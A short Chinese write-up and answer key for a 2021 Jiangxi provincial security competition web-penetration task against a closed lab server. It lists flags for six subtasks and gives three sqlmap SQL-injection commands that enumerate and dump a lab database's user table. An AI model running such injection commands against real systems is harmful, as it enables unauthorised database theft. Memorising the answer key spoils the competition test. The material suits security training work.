2021年江西省“网络安全”赛题B-10:网页渗透—21

B-10：网页渗透-21

任务环境说明：有问题需要环境可以私信我

• 服务器场景：Server21
• 服务器场景操作系统：未知（封闭靶机）
• 用户名:未知 密码：未知

1. 访问服务器网站目录1，根据页面信息完成条件，将获取到的flag提交；

 

flag:zTdKVpUKJu

2.访问服务器网站目录2，根据页面信息完成条件，将获取到的flag提交；  

flag:6i3zXHDPOx

3.访问服务器网站目录3，根据页面信息完成条件，将获取到的flag提交；

   

FLAG=7Z9hwFpOlf

4.访问服务器网站目录4，根据页面信息完成条件，将获取到的flag提交；

   

flag:YbR0BlQEVo

5.访问服务器网站目录5，根据页面信息完成条件，将获取到的flag提交；

FLAG=rNPco4KBLN

6.访问服务器网站目录6，根据页面信息完成条件，将获取到的flag提交；

   

sqlmap -u "http://192.168.100.107/6/index.php" --forms --level 4 --batch -dbs 

sqlmap -u "http://192.168.100.107/4/index.php" --forms --level 4 --batch -D hello -tables 

sqlmap -u "http://192.168.100.107/4/index.php" --forms --level 4 --batch -D hello -T user -dump
 

flag=C9K8TVwf7Z